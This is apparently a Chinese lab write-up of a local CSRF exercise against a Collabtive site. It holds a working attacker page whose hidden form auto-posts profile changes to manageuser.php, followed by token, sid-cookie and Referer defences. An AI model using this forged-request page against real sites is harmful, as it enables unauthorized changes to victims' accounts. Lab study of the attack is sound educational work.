记录一下实验过程,实验楼已经给搭建好了两个网站 攻击网站:www.csrflabattacker.com 被攻击网站:www.csrflabcollabtive.com 登录实验环境,启动apache服务和mysql服务配置DNS 路径为/etc/hosts添加两行 作用是当访问下面两个域名时指向本机127.0.0.1 www.csrflabattacker.com127.0.0.1 www.csrflabcollabtive.com配置网站,路径/etc/apache2/conf.d/lab.conf添加如下内容,作用是将相应网站绑定到本地的对应端口上,你可以通过127.0.0.1:80访问http://www.csrflabcollabtive.com 这个网站,亦可通过域名访问。<VirtualHost *:80>ServerName http://www.csrflabcollabtive.comDocumentRoot /var/www/CSRF/Collabtive/</VirtualHost><VirtualHost *:8080>ServerName http://www.csrflabattacker.comDocumentRoot /var/www/CSRF/Attacker/</VirtualHost>下载livehttpheader插件,实验楼已经记录的很详细,这里就不再描述打开 www.csrflabcollabtive.com 网站,打开livehttpheader插件,访问编辑用户界面并修改用户信息,点击send按钮。在livehttpheader中查看http请求头。捕捉到请求报文后就可以在攻击网站上构造攻击页面了,在/var/www/CSRF/Attacker/文件加下新建index.html文件。作用是你在点击攻击网站时,攻击网站会向被攻击网站提交post请求,而浏览器会自动获取你之前登录被攻击网站的cookies,这样被攻击网站就无法判断提交post请求的是合法用户还是恶意网站。<html><body><h1> This page forges an HTTP POST request.</h1><script type="text/javascript"> function post(url, fields) { //create a <form> element. var p = document.createElement("form"); //construct the form p.action = url; p.innerHTML = fields; p.target = "_self"; p.method = "post"; //append the form to the current page. document.body.appendChild(p); //submit the form p.submit(); } function csrf_hack() { var fields; // The following are form entries that need to be filled out // by attackers. The entries are made hidden, so the victim // won't be able to see them. fields += "<input type='hidden' name='name' value='admin' >"; fields += "<input type='hidden' name='gender' value='female' >"; //修改性别 fields += "<input type='hidden' name='company' value='seed' >"; //修改公司名 post('http://www.csrflabcollabtive.com/manageuser.php?action=edit', fields); } // invoke csrf_hack() after the page is loaded. window.onload = function() { csrf_hack(); }</script></body></html>防御方法,一般都是在客户端加伪随机数在本实验中sudo vim /var/www/CSRF/Collabtive/templates/standard/edituserform.tpl添加一个隐藏的字段sid。在提交表单处将cookie值赋值给sid:this.form.sid.value = document.cookie<input type="hidden" name="sid" value="">修改/var/www/CSRF/Collabtive/manageuser.php文件获取post提交的sid值$sid = getArrayVal($_POST,"sid")对用户sid的值进行判断,如果用户id的值等于phpsessionid的值则进行提交if($_COOKIE['PHPSESSIONID']==$sid)加密令牌:web应用程序在网页中嵌入一个加密的令牌,所有的请求都包含这个加密的令牌,由于跨站请求无法获取这个令牌,所以伪造的请求就会被服务器识别。referer头途径:验证来源页面的referer,然而由于隐私考虑,这个referer经常被客户端过滤。
